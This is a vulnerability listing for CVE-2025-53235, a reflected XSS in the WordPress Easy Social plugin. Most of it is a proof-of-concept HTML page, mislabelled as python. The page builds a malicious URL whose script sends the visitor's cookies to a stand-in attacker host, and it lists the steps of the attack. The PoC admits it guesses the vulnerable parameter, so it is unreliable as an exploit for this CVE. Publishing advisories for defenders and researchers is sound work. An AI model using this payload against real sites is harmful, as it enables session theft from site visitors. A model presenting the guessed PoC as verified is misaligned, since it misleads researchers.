CVE-2025-53235

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in osuthorpe Easy Social easy-social-media allows Reflected XSS.This issue affects Easy Social: from n/a through <= 1.3.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Easy Social (easy-social-media) 任意版本 <= 1.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-53235 Reflected XSS PoC -->
<!-- Target: WordPress Easy Social Plugin <= 1.3 -->
<!-- Vulnerability: Improper Input Neutralization leading to Reflected XSS -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-53235 PoC</title>
</head>
<body>
    <h2>CVE-2025-53235 - Easy Social Reflected XSS PoC</h2>
    
    <p>Malicious URL to trigger XSS:</p>
    <code id="xss-url"></code>
    
    <script>
        // Get the target URL from query parameter or use default
        const targetHost = window.location.search.split('target=')[1] || 
                          'http://vulnerable-wordpress-site.com';
        
        // XSS payload - extracts cookies and sends to attacker
        const xssPayload = '<script>fetch("https://attacker-server.com/steal?c="+encodeURIComponent(document.cookie))</script>';
        
        // Construct the malicious URL
        // Note: The exact vulnerable parameter depends on plugin code analysis
        const maliciousURL = `${targetHost}/?s=${encodeURIComponent(xssPayload)}`;
        
        document.getElementById('xss-url').textContent = maliciousURL;
        
        // For demonstration, show alert if this is PoC page
        console.log('PoC URL generated:', maliciousURL);
        
        // Simulated attack execution (commented out for safety)
        // In real attack, victim visits this URL and XSS payload executes
        /*
        fetch(maliciousURL)
            .then(response => response.text())
            .then(html => {
                // Check if XSS is reflected in response
                if (html.includes(xssPayload)) {
                    console.log('[+] XSS vulnerability confirmed!');
                }
            });
        */
    </script>
    
    <p><strong>Attack Steps:</strong></p>
    <ol>
        <li>Attacker crafts malicious URL with XSS payload</li>
        <li>Victim clicks the link or visits the crafted URL</li>
        <li>Server reflects unsanitized input in response</li>
        <li>Victim's browser executes malicious JavaScript</li>
        <li>Attacker steals session cookies or performs actions as victim</li>
    </ol>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-53235
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-53235
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-53235/
[4] VulDB https://vuldb.com/cve/CVE-2025-53235
[5] https://patchstack.com/database/Wordpress/Plugin/easy-social-media/vulnerability/wordpress-easy-social-plugin-1-3-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

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